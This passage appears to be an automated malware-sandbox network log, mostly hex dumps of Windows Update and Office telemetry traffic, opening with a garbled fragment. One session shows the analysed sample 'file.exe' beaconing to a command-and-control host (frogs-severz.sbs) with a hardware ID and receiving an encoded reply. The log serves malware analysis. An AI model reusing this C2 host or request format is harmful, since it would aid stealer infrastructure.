ndL@H`$EA7WZ!Y7=8Mi1uNkxNI-$DBJ9R;\|-^ZTm'r[>0\|>Mu$#S_*~tD\@w,FcMf@A\iQy>Gs1$}:6.Zez$q+{`]PapJt^\|pY
2024-11-25 11:07:14 UTC	15331	OUT	Data Raw: bc d0 16 f6 8b a8 0a b7 17 a1 3c 49 de 66 e0 04 59 01 32 6c dd 68 2d ca df bb 17 b6 a8 5a eb 59 97 b7 7e 30 f3 36 8c f7 8c b1 92 d8 b3 9e a2 91 43 33 5d 52 be 80 72 36 0f 94 41 fc 3c 25 3b 44 13 06 ee 3b f3 89 28 b8 a2 18 d3 f7 c0 2e 51 bc ff df 57 a8 ab 52 3d b5 b4 0f 81 c2 73 c7 6d e8 b4 0e 92 0a 0a 64 a9 5e a0 c2 70 38 6a 07 58 40 ad ed 62 e5 d2 a8 28 18 15 8f a2 e1 61 c2 20 5c 81 b1 37 13 c4 be a3 02 62 8b 3b 00 b0 e7 72 10 ff 36 4c 30 86 d4 b7 da be 8f 9c 74 c0 bd bd 56 a5 bf 3b 5e 3d 47 b8 e5 00 1e 7b 8e e2 00 51 bc 7e d6 67 ff 2d f8 40 78 68 60 07 0b 18 e5 8e 71 c7 09 9f c3 16 15 75 fc 9c af ab 05 c5 a4 dd d1 d0 9a c2 ea 5b 23 84 07 02 c1 c6 40 a8 2e f1 d4 b0 c6 aa 35 ab 4a 4e 3a 08 0d 25 91 1b 63 10 5c a4 18 ea 3d 72 fb 93 63 f8 be 24 38 7c f5 af Data Ascii: <IfY2lh-ZY~06C3]Rr6A<%;D;(.QWR=smd^p8jX@b(a \7b;r6L0tV;^=G{Q~g-@xh`qu[#@.5JN:%c\=rc$8\|
2024-11-25 11:07:18 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kbpf5v3trpjaeh225i76e9q1g6; expires=Fri, 21-Mar-2025 04:53:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FCeLAONKqkxapZg%2BVlex%2BoEw%2B8Y6mJrja94%2FGwVHMfsFMOa4UlYjvZ1NYCqL9N8eImva1fVpUhqzbPYVkLHzFdeSb4hE%2BHBk5LxH3AtHlyF7MvX8hm4ZnGAQ%2FBLSX67Z%2FK5P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e812c888cc98ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1999&sent=362&recv=610&lost=0&retrans=0&sent_bytes=2839&recv_bytes=588448&delivery_rate=1437007&cwnd=168&unsent_bytes=0&cid=61ac8efde8f3518a&ts=4293&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49710	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:16 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=lRDkn92tguHwkO2&MD=4Ff31h2e HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 11:07:17 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 050ad313-01d8-4c21-9d75-1b6a06510644 MS-RequestId: 98b63b72-5404-4769-ba2f-ab8904694503 MS-CV: O6ZywIhRq06yn4fH.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 11:07:15 GMT Connection: close Content-Length: 24490
2024-11-25 11:07:17 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-25 11:07:17 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:19 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:19 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: c3062018-b01e-003e-79df-3d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110719Z-178bfbc474bwh9gmhC1NYCy3rs00000007d0000000008adc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:19 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-25 11:07:19 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-25 11:07:19 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-25 11:07:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-25 11:07:19 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-25 11:07:19 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-25 11:07:19 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-25 11:07:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-25 11:07:19 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-25 11:07:19 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49716	172.67.155.47	443	4024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:20 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: frogs-severz.sbs
2024-11-25 11:07:20 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 39 30 38 35 39 32 33 30 30 33 30 44 36 45 44 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=90859230030D6EDDD7CBBD6DF28D3732
2024-11-25 11:07:21 UTC	1006	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sf2tp44d2pqbpaeltpqnvf72gb; expires=Fri, 21-Mar-2025 04:53:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bbWllbvyfg7NTOn3zbLfwKsrStyU0PN2QvlPMsvopRPiYPqrqBGC3o6UiqOPtNGqywa0hZTPkxiwyPQx%2FrGV%2BUmRTcAZKTEqAcbw7mnLXGpGmRp6nncJydNiw67KHhtjBnpl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e812cac5cd24367-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1650&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=988&delivery_rate=1654390&cwnd=235&unsent_bytes=0&cid=40d0b989c7db5a4a&ts=1007&x=0"
2024-11-25 11:07:21 UTC	214	IN	Data Raw: 64 30 0d 0a 75 78 57 51 54 42 70 50 31 2f 34 31 6d 4c 67 57 47 48 2f 77 2b 32 64 62 73 7a 54 57 6b 50 38 31 4f 43 74 6a 57 51 43 7a 47 55 72 67 62 72 49 35 4f 48 58 31 6c 6b 48 73 79 43 78 45 55 4b 7a 55 56 6d 4f 47 47 75 53 68 79 68 73 4a 47 6c 42 33 4d 59 56 46 5a 64 52 7a 39 68 41 31 4b 37 4b 59 47 2f 33 41 63 7a 70 54 30 70 30 54 65 59 6b 45 2b 72 4b 61 46 77 49 61 48 6e 56 37 6b 57 78 6f 67 54 66 34 4f 47 34 2f 37 61 49 61 78 4a 63 6e 49 45 72 65 79 56 5a 75 6e 51 58 6e 6f 39 45 45 44 6e 64 4d 4b 6e 54 57 65 43 66 6e 4f 75 49 74 64 43 75 34 6b 78 76 39 77 48 4d 36 55 39 4b 64 45 33 6d 4a 42 50 71 79 6d 68 63 43 47 78 34 45 0d 0a Data Ascii: d0uxWQTBpP1/41mLgWGH/w+2dbszTWkP81OCtjWQCzGUrgbrI5OHX1lkHsyCxEUKzUVmOGGuShyhsJGlB3MYVFZdRz9hA1K7KYG/3AczpT0p0TeYkE+rKaFwIaHnV7kWxogTf4OG4/7aIaxJcnIEreyVZunQXno9EEDndMKnTWeCfnOuItdCu4kxv9wHM6U9KdE3mJBPqymhcCGx4E
2024-11-25 11:07:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:21 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:22 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 15799d2c-401e-0047-13c9-3e8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110722Z-178bfbc474bbcwv4hC1NYCypys00000007800000000056zr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:22 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
